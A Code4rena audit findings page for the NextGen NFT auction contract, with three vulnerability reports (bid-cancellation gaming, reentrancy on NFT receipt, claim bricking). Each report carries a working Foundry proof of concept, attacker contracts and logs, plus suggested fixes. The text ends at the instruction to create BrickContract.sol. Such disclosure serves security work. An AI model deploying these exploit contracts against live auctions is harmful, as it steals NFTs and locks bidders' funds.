Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 11/243
Findings: 4
Award: $1,063.79
π Selected for report: 0
π Solo Findings: 0
π Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120
First consider the scenario where a similar NFT from the same collection can me minted for 1 ETH by a normal user by simply calling the mint()
function in the MinterContract.sol
contract. For example the sales model of the collection is Exponential Descending Sale and it has hit the Resting Price of 1 ETH. This attack works no matter the sales model of the collection, or the price of which an NFT can be bought for by simply minting it, it may only require adjusting the parameters. Once a malicious user (typically utilizing MEV bots, and private MEM pools) sees that an auction is created he can front run all other bids and first bid 1 WEI. Then create a second transaction and bid an astronomical amount for the NFT in order to deter all other participants from entering the auction, for the above scenario lets say 10 ETH. No normal user will want to pay more than 10 ETH for something that he can get for 1 ETH. One of the problems arises because in claimAuction()
the require statement is require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ...)
and in cancelBid()
and cancelAllBids()
is require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
. Even if the require statement in the cancelBid()
and cancelAllBids()
is change to require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
the problem won't be fully mitigated because the malicious user can back run all the transactions in the block before block.timestamp is no longer less than minter.getAuctionEndTime(_tokenid) and execute the cancelBid()
and thus withdraw his enormous bid, and win the auction for 1 WEI. The below POC utilizes the =
in the require statements.
To run the POC first follow the steps in this link: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry in order to add foundry to the project.
Create a AuditorTest.t.sol
file in the test folder and add the following to it:
pragma solidity 0.8.19; import {Test, console} from "forge-std/Test.sol"; import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; contract AuditorTests is Test { DelegationManagementContract public delegationManagementContract; randomPool public rPool; NextGenAdmins public nextGenAdmins; NextGenCore public nextGenCore; NextGenMinterContract public nextGenMinterContract; NextGenRandomizerNXT public nextGenRandomizerNXT; auctionDemo public aDemo; address public contractOwner = vm.addr(1); address public alice = vm.addr(2); address public bob = vm.addr(3); address public hacker = vm.addr(4); address public globalAdmin = vm.addr(5); address public collectionAdmin = vm.addr(6); address public functionAdmin = vm.addr(7); address public john = vm.addr(8); address public auctionNftOwner = vm.addr(9); address public delAddress = address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B); bytes32 public merkleRoot = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; function setUp() public { vm.startPrank(contractOwner); /// INFO: Deploy contracts delegationManagementContract = new DelegationManagementContract(); rPool = new randomPool(); nextGenAdmins = new NextGenAdmins(); nextGenCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(nextGenAdmins)); nextGenMinterContract = new NextGenMinterContract(address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins)); nextGenRandomizerNXT = new NextGenRandomizerNXT(address(rPool), address(nextGenAdmins), address(nextGenCore)); /// INFO: Set admins nextGenAdmins.registerAdmin(globalAdmin, true); nextGenAdmins.registerCollectionAdmin(1, collectionAdmin, true); nextGenAdmins.registerCollectionAdmin(2, collectionAdmin, true); vm.stopPrank(); /// INFO: Set up collection in genCore vm.startPrank(globalAdmin); string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; nextGenCore.createCollection("Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript); nextGenCore.createCollection("Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript); nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT)); nextGenCore.addRandomizer(2, address(nextGenRandomizerNXT)); nextGenCore.addMinterContract(address(nextGenMinterContract)); vm.stopPrank(); /// INFO: Set up collection params in minter contract vm.startPrank(collectionAdmin); /// INFO: Set up collection 1 nextGenCore.setCollectionData(1, collectionAdmin, 2, 10000, 1000); nextGenMinterContract.setCollectionCosts( 1, // _collectionID 1 ether, // _collectionMintCost 1 eth 0, // _collectionEndMintCost 0.1 eth 10, // _rate 200, // _timePeriod 3, // _salesOptions delAddress // delAddress ); nextGenMinterContract.setCollectionPhases( 1, // _collectionID 201, // _allowlistStartTime 400, // _allowlistEndTime 401, // _publicStartTime 2000, // _publicEndTime merkleRoot // _merkleRoot ); /// INFO: Set up collection 2 playing the role of the burn collection nextGenCore.setCollectionData(2, collectionAdmin, 2, 10000, 1000); nextGenMinterContract.setCollectionCosts( 2, // _collectionID 1 ether, // _collectionMintCost 1 eth 0, // _collectionEndMintCost 0.1 eth 10, // _rate 20, // _timePeriod 3, // _salesOptions delAddress // delAddress ); nextGenMinterContract.setCollectionPhases( 2, // _collectionID 21, // _allowlistStartTime 100, // _allowlistEndTime 200, // _publicStartTime 500, // _publicEndTime merkleRoot // _merkleRoot ); vm.stopPrank(); /// INFO: intilialize burn vm.startPrank(globalAdmin); nextGenMinterContract.initializeBurn(2, 1, true); vm.stopPrank(); /// INFO: Deploy AuctionDemo contract and approve contract to transfer NFTs vm.startPrank(auctionNftOwner); aDemo = new auctionDemo(address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins)); nextGenCore.setApprovalForAll(address(aDemo), true); vm.stopPrank(); } function test_RigAuctionDemo() public { /// INFO: Set up Auction Demo contract skip(401); vm.startPrank(globalAdmin); string memory tokenData = "{'tdh': '100'}"; nextGenMinterContract.mintAndAuction(auctionNftOwner, tokenData, 2, 1, 500); vm.stopPrank(); vm.startPrank(hacker); vm.deal(hacker, 11 ether); aDemo.participateToAuction{value: 1}(10_000_000_000); console.log("First 1 WEI bid: ", aDemo.returnHighestBid(10_000_000_000)); console.log("Address of highest bidder: ", aDemo.returnHighestBidder(10_000_000_000)); /// INFO: Malicious actor bids an astronomical amount for the NFT in order to deter all other participants from entering the auction aDemo.participateToAuction{value: 10 ether}(10_000_000_000); console.log("Bid 10 ETH: ", aDemo.returnHighestBid(10_000_000_000)); console.log("Address of highest bidder: ", aDemo.returnHighestBidder(10_000_000_000)); /// INFO: When auctionEndTime == block.timestamp aDemo.cancelBid(10_000_000_000, 1); skip(98); console.log("Highest bid should be 1 WEI: ", aDemo.returnHighestBid(10_000_000_000)); console.log("Address of highest bidder: ", aDemo.returnHighestBidder(10_000_000_000)); console.log("This is the current block.timestamp: ", block.timestamp); console.log("This is the auction endTime: ", nextGenMinterContract.getAuctionEndTime(10_000_000_000)); aDemo.claimAuction(10_000_000_000); console.log("Balance of hacker: ", hacker.balance); assertEq(hacker, nextGenCore.ownerOf(10_000_000_000)); vm.stopPrank(); } }
Logs: First 1 WEI bid: 1 Address of highest bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718 Bid 10 ETH: 10000000000000000000 Address of highest bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718 Highest bid should be 1 WEI: 1 Address of highest bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718 This is the current block.timestamp: 500 This is the auction endTime: 500 Balance of hacker: 10999999999999999999
To run the test use: forge test -vvv --mt test_RigAuctionDemo
Manual Review & Foundry
Consider changing the way you track user bids, instead of recording each bid separately, accumulate them for the same user.
Other
#0 - c4-pre-sort
2023-11-15T08:34:36Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:12:48Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:15:58Z
alex-ppg marked the issue as duplicate of #1784
#3 - c4-judge
2023-12-07T11:50:11Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T17:24:33Z
alex-ppg marked the issue as partial-25
#5 - c4-judge
2023-12-08T17:24:46Z
alex-ppg marked the issue as partial-50
#6 - c4-judge
2023-12-08T17:28:01Z
alex-ppg marked the issue as satisfactory
#7 - c4-judge
2023-12-08T18:14:31Z
alex-ppg marked the issue as partial-50
π Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120
There are a different reasons why this attack vector is possible. If we consider the M-01 Unchecked return value of low-level call()/delegatecall()
instances pertaining to the claimAuction()
function in the AuctionDemo.sol
contract are fixed and the success of the low level calls are checked this will turn into an another way to brick the claimAuction()
function. Using the same attacking contract and test provided in the POC, as the function will always revert, the attacker won't be able to receive the NFT, or get his funds back but he will also block all other previous bidders funds. This will still be a different issue than the other issue pertaining to bricking the claimAuction()
that I have summited Auction can be bricked by a malicious user. As the root problem in Auction can be bricked by a malicious user is that a contract can be crafted in such a way that it can't receive an NFT. This will also break an invariant specified by the team: The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded.
. The second reason why this is possible is because the require statement in the claimAuction()
function is require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ...)
and the require statements in cancelBid()
and cancelAllBids()
are require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
. The third reason is reentrancy. When block.timestamp
== minter.getAuctionEndTime(_tokenid)
a malicious actor can first execute claimAuction()
, from a purposely created contract (ReentrancyAuctionDemo.sol
from the POC) and when the NFT is sent to the specified contract execute cancelBid()
. This will first sent back the bids of all the users that have bid for the NFT but didn't win, then the cancelBid()
will be executed and the attacker will claim his bid as well. Thus the attacker will get the NFT for free, and the initial owner of the NFT will be left empty handed. Keep in mind this is a different issue from Auction can be gamed by a malicious user because as explained in Auction can be gamed by a malicious user changing the require statements require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
in both cancelBid()
and cancelAllBids()
to require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
, won't fully mitigate the issue. Here the main roots of the issue are the reentrancy combined with the <=
check in the require statements.
To run the POC first follow the steps in this link: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry in order to add foundry to the project.
Create a AuditorTest.t.sol
file in the test folder and add the following to it:
pragma solidity 0.8.19; import {Test, console} from "forge-std/Test.sol"; import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {ReentrancyAuctionDemo} from "./ReentrancyAuctionDemo.sol"; contract AuditorTests is Test { DelegationManagementContract public delegationManagementContract; randomPool public rPool; NextGenAdmins public nextGenAdmins; NextGenCore public nextGenCore; NextGenMinterContract public nextGenMinterContract; NextGenRandomizerNXT public nextGenRandomizerNXT; auctionDemo public aDemo; ReentrancyAuctionDemo public reentrancyAuctionDemo; address public contractOwner = vm.addr(1); address public alice = vm.addr(2); address public bob = vm.addr(3); address public hacker = vm.addr(4); address public globalAdmin = vm.addr(5); address public collectionAdmin = vm.addr(6); address public functionAdmin = vm.addr(7); address public john = vm.addr(8); address public auctionNftOwner = vm.addr(9); address public tom = vm.addr(10); address public delAddress = address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B); bytes32 public merkleRoot = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; function setUp() public { vm.startPrank(contractOwner); /// INFO: Deploy contracts delegationManagementContract = new DelegationManagementContract(); rPool = new randomPool(); nextGenAdmins = new NextGenAdmins(); nextGenCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(nextGenAdmins)); nextGenMinterContract = new NextGenMinterContract(address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins)); nextGenRandomizerNXT = new NextGenRandomizerNXT(address(rPool), address(nextGenAdmins), address(nextGenCore)); /// INFO: Set admins nextGenAdmins.registerAdmin(globalAdmin, true); nextGenAdmins.registerCollectionAdmin(1, collectionAdmin, true); nextGenAdmins.registerCollectionAdmin(2, collectionAdmin, true); vm.stopPrank(); /// INFO: Set up collection in genCore vm.startPrank(globalAdmin); string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; nextGenCore.createCollection("Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript); nextGenCore.createCollection("Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript); nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT)); nextGenCore.addRandomizer(2, address(nextGenRandomizerNXT)); nextGenCore.addMinterContract(address(nextGenMinterContract)); vm.stopPrank(); /// INFO: Set up collection params in minter contract vm.startPrank(collectionAdmin); /// INFO: Set up collection 1 nextGenCore.setCollectionData(1, collectionAdmin, 2, 10000, 1000); nextGenMinterContract.setCollectionCosts( 1, // _collectionID 1 ether, // _collectionMintCost 1 eth 0, // _collectionEndMintCost 0.1 eth 10, // _rate 200, // _timePeriod 3, // _salesOptions delAddress // delAddress ); nextGenMinterContract.setCollectionPhases( 1, // _collectionID 201, // _allowlistStartTime 400, // _allowlistEndTime 401, // _publicStartTime 2000, // _publicEndTime merkleRoot // _merkleRoot ); /// INFO: Set up collection 2 playing the role of the burn collection nextGenCore.setCollectionData(2, collectionAdmin, 2, 10000, 1000); nextGenMinterContract.setCollectionCosts( 2, // _collectionID 1 ether, // _collectionMintCost 1 eth 0, // _collectionEndMintCost 0.1 eth 10, // _rate 20, // _timePeriod 3, // _salesOptions delAddress // delAddress ); nextGenMinterContract.setCollectionPhases( 2, // _collectionID 21, // _allowlistStartTime 100, // _allowlistEndTime 200, // _publicStartTime 500, // _publicEndTime merkleRoot // _merkleRoot ); vm.stopPrank(); /// INFO: intilialize burn vm.startPrank(globalAdmin); nextGenMinterContract.initializeBurn(2, 1, true); vm.stopPrank(); /// INFO: Deploy AuctionDemo contract and approve contract to transfer NFTs vm.startPrank(auctionNftOwner); aDemo = new auctionDemo(address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins)); nextGenCore.setApprovalForAll(address(aDemo), true); vm.stopPrank(); } function test_ReentrancyAuctionDemo() public { /// INFO: Set up Auction Demo contract skip(401); vm.startPrank(globalAdmin); string memory tokenData = "{'tdh': '100'}"; nextGenMinterContract.mintAndAuction(auctionNftOwner, tokenData, 2, 1, 500); vm.stopPrank(); /// INFO: Alice bids 5 ether vm.startPrank(alice); vm.deal(alice, 5 ether); aDemo.participateToAuction{value: 5 ether}(10_000_000_000); vm.stopPrank(); /// INFO: Bob bids 6 ether vm.startPrank(bob); vm.deal(bob, 6 ether); aDemo.participateToAuction{value: 6 ether}(10_000_000_000); vm.stopPrank(); /// INFO: John bids 7 ether vm.startPrank(john); vm.deal(john, 7 ether); aDemo.participateToAuction{value: 7 ether}(10_000_000_000); vm.stopPrank(); /// INFO: Tom bids 8 ether vm.startPrank(tom); vm.deal(tom, 8 ether); aDemo.participateToAuction{value: 8 ether}(10_000_000_000); vm.stopPrank(); vm.startPrank(hacker); vm.deal(hacker, 9 ether); reentrancyAuctionDemo = new ReentrancyAuctionDemo(address(aDemo)); uint256 winningBid = 8 ether + 1; reentrancyAuctionDemo.bid{value: winningBid}(10_000_000_000); console.log("Balance of the Auction Demo contract after all bids: ", address(aDemo).balance); skip(98); reentrancyAuctionDemo.claimAuction(4); reentrancyAuctionDemo.withdraw(); console.log("Balance after claim"); console.log("Balance of auction demo contract: ", address(aDemo).balance); console.log("Balance of hacker : ", hacker.balance); console.log("Balance of auction NFT owner : ", auctionNftOwner.balance); console.log("Balance of Alice: ", alice.balance); console.log("Balance of Bob: ", bob.balance); console.log("Balance of John: ", john.balance); console.log("Balance of Tom: ", tom.balance); assertEq(address(reentrancyAuctionDemo), nextGenCore.ownerOf(10_000_000_000)); vm.stopPrank(); } }
Create a ReentrancyAuctionDemo.sol
file in the test folder and add the following to it:
pragma solidity 0.8.19; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {IERC721Receiver} from "../smart-contracts/IERC721Receiver.sol"; contract ReentrancyAuctionDemo { auctionDemo public aDemo; uint256 public tokenIdBid; uint256 public bidIndex; address public hacker; constructor(address _aDemo) { aDemo = auctionDemo(_aDemo); hacker = msg.sender; } modifier onlyHacker() { require(msg.sender == hacker, "Not the right hacker"); _; } function bid(uint256 _tokenId) public onlyHacker payable{ tokenIdBid = _tokenId; aDemo.participateToAuction{value: msg.value}(tokenIdBid); } function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4){ aDemo.cancelBid(tokenIdBid, bidIndex); return IERC721Receiver.onERC721Received.selector; } function claimAuction(uint256 _bidIndex) public onlyHacker { bidIndex = _bidIndex; aDemo.claimAuction(tokenIdBid); } function withdraw() public onlyHacker { uint256 balance = address(this).balance; (bool success, ) = payable(hacker).call{value: balance}(""); require(success); } receive() external payable {} }
Logs: Balance of the Auction Demo contract after all bids: 34000000000000000001 Balance after claim Balance of auction demo contract: 0 Balance of hacker : 9000000000000000000 Balance of auction NFT owner : 0 Balance of Alice: 5000000000000000000 Balance of Bob: 6000000000000000000 Balance of John: 7000000000000000000 Balance of Tom: 8000000000000000000
To run the test use: forge test -vvv --mt test_ReentrancyAuctionDemo
Manual review & Foundy
In order to fix the reentrancy vulnerability you can add a nonReentrant
modifier to the claimAuction()
or change the require block require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ...
to require(block.timestamp > minter.getAuctionEndTime(_tokenid) && ...
. You can also change the require statements require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
in both cancelBid()
and cancelAllBids()
to require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
. But the contract have too many different vulnerabilities, I would recommend to rewrite the whole contract following best practices and suggestions from auditors and most of all utilizing the Pull over Push pattern, as well as aggregating specific users bids.
Reentrancy
#0 - c4-pre-sort
2023-11-15T08:08:46Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:40:39Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-09T00:02:12Z
alex-ppg marked the issue as partial-50
π Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120
The claimAuction()
function in the AuctionDemo.sol
contract can be bricked by malicious user resulting in all funds being locked in the AuctionDemo.sol
contract. A malicious user can just create a simple contract and use it to win the bidding. He can wait for the last seconds and place a bid that is bigger than the previous with just one wei. The problem comes because within claimAuction()
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
. SafeTransferFrom checks if the highestBidder
is a contract. If highestBidder
is a contract in order to receive the NFT it has to implement the following function:
function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4){ return IERC721Receiver.onERC721Received.selector; }
Simply creating a contract that doesn't have this function and winning the auction with said contract, will result in the claimAuction()
reverting. I have chosen the High severity because all bidders will lose their funds, and additionally the protocol team has specified the following invariant: "The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded."
To run the POC first follow the steps in this link: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry in order to add foundry to the project.
Create a AuditorTests.t.sol
file in the test folder and add the following to it:
pragma solidity 0.8.19; import {Test, console} from "forge-std/Test.sol"; import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {BrickContract} from "./BrickContract.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; contract AuditorTests is Test { DelegationManagementContract public delegationManagementContract; randomPool public rPool; NextGenAdmins public nextGenAdmins; NextGenCore public nextGenCore; NextGenMinterContract public nextGenMinterContract; NextGenRandomizerNXT public nextGenRandomizerNXT; BrickContract public brickContract; auctionDemo public aDemo; address public contractOwner = vm.addr(1); address public alice = vm.addr(2); address public bob = vm.addr(3); address public hacker = vm.addr(4); address public globalAdmin = vm.addr(5); address public collectionAdmin = vm.addr(6); address public functionAdmin = vm.addr(7); address public john = vm.addr(8); address public auctionNftOwner = vm.addr(9); address public tom = vm.addr(10); address public delAddress = address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B); bytes32 public merkleRoot = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; function setUp() public { vm.startPrank(contractOwner); /// INFO: Deploy contracts delegationManagementContract = new DelegationManagementContract(); rPool = new randomPool(); nextGenAdmins = new NextGenAdmins(); nextGenCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(nextGenAdmins)); nextGenMinterContract = new NextGenMinterContract(address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins)); nextGenRandomizerNXT = new NextGenRandomizerNXT(address(rPool), address(nextGenAdmins), address(nextGenCore)); /// INFO: Set admins nextGenAdmins.registerAdmin(globalAdmin, true); nextGenAdmins.registerCollectionAdmin(1, collectionAdmin, true); nextGenAdmins.registerCollectionAdmin(2, collectionAdmin, true); vm.stopPrank(); /// INFO: Set up collection in genCore vm.startPrank(globalAdmin); string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; nextGenCore.createCollection("Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript); nextGenCore.createCollection("Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript); nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT)); nextGenCore.addRandomizer(2, address(nextGenRandomizerNXT)); nextGenCore.addMinterContract(address(nextGenMinterContract)); vm.stopPrank(); /// INFO: Set up collection params in minter contract vm.startPrank(collectionAdmin); /// INFO: Set up collection 1 nextGenCore.setCollectionData(1, collectionAdmin, 2, 10000, 1000); nextGenMinterContract.setCollectionCosts( 1, // _collectionID 1 ether, // _collectionMintCost 1 eth 0, // _collectionEndMintCost 0.1 eth 10, // _rate 200, // _timePeriod 3, // _salesOptions delAddress // delAddress ); nextGenMinterContract.setCollectionPhases( 1, // _collectionID 201, // _allowlistStartTime 400, // _allowlistEndTime 401, // _publicStartTime 2000, // _publicEndTime merkleRoot // _merkleRoot ); /// INFO: Set up collection 2 playing the role of the burn collection nextGenCore.setCollectionData(2, collectionAdmin, 2, 10000, 1000); nextGenMinterContract.setCollectionCosts( 2, // _collectionID 1 ether, // _collectionMintCost 1 eth 0, // _collectionEndMintCost 0.1 eth 10, // _rate 20, // _timePeriod 3, // _salesOptions delAddress // delAddress ); nextGenMinterContract.setCollectionPhases( 2, // _collectionID 21, // _allowlistStartTime 100, // _allowlistEndTime 200, // _publicStartTime 500, // _publicEndTime merkleRoot // _merkleRoot ); vm.stopPrank(); /// INFO: intilialize burn vm.startPrank(globalAdmin); nextGenMinterContract.initializeBurn(2, 1, true); vm.stopPrank(); /// INFO: Deploy AuctionDemo contract and approve contract to transfer NFTs vm.startPrank(auctionNftOwner); aDemo = new auctionDemo(address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins)); nextGenCore.setApprovalForAll(address(aDemo), true); vm.stopPrank(); } function test_BrickAuctionDemo() public { /// INFO: Set up Auction Demo contract skip(401); vm.startPrank(globalAdmin); string memory tokenData = "{'tdh': '100'}"; nextGenMinterContract.mintAndAuction(auctionNftOwner, tokenData, 2, 1, 500); vm.stopPrank(); /// INFO: Alice bids 5 ether vm.startPrank(alice); vm.deal(alice, 5 ether); aDemo.participateToAuction{value: 5 ether}(10_000_000_000); vm.stopPrank(); /// INFO: Bob bids 6 ether vm.startPrank(bob); vm.deal(bob, 6 ether); aDemo.participateToAuction{value: 6 ether}(10000000000); vm.stopPrank(); /// INFO: John bids 5 ether vm.startPrank(john); vm.deal(john, 7 ether); aDemo.participateToAuction{value: 7 ether}(10000000000); vm.stopPrank(); vm.startPrank(hacker); vm.deal(hacker, 8 ether); brickContract = new BrickContract(address(aDemo)); brickContract.bid{value: 7000000000000000001}(10000000000); skip(101); console.log("This is the brickContract address: ", address(brickContract)); console.log("This is the highest bidder: ", aDemo.returnHighestBidder(10000000000)); vm.expectRevert(); aDemo.claimAuction(10000000000); console.log("AuctionDemo contract balance after all bids and claim: ", address(aDemo).balance); vm.stopPrank(); vm.startPrank(alice); console.log("Alice balance: ", alice.balance); vm.expectRevert(); aDemo.cancelBid(10000000000, 0); console.log("Alice balance: ", alice.balance); vm.stopPrank(); } }
Logs: This is the brickContract address: 0x060cc26038E69D73552679103271eCA6E37D4CE6 This is the highest bidder: 0x060cc26038E69D73552679103271eCA6E37D4CE6 AuctionDemo contract balance after all bids and claim: 25000000000000000001 Alice balance: 0 Alice balance: 0
Create a file named BrickContract.sol
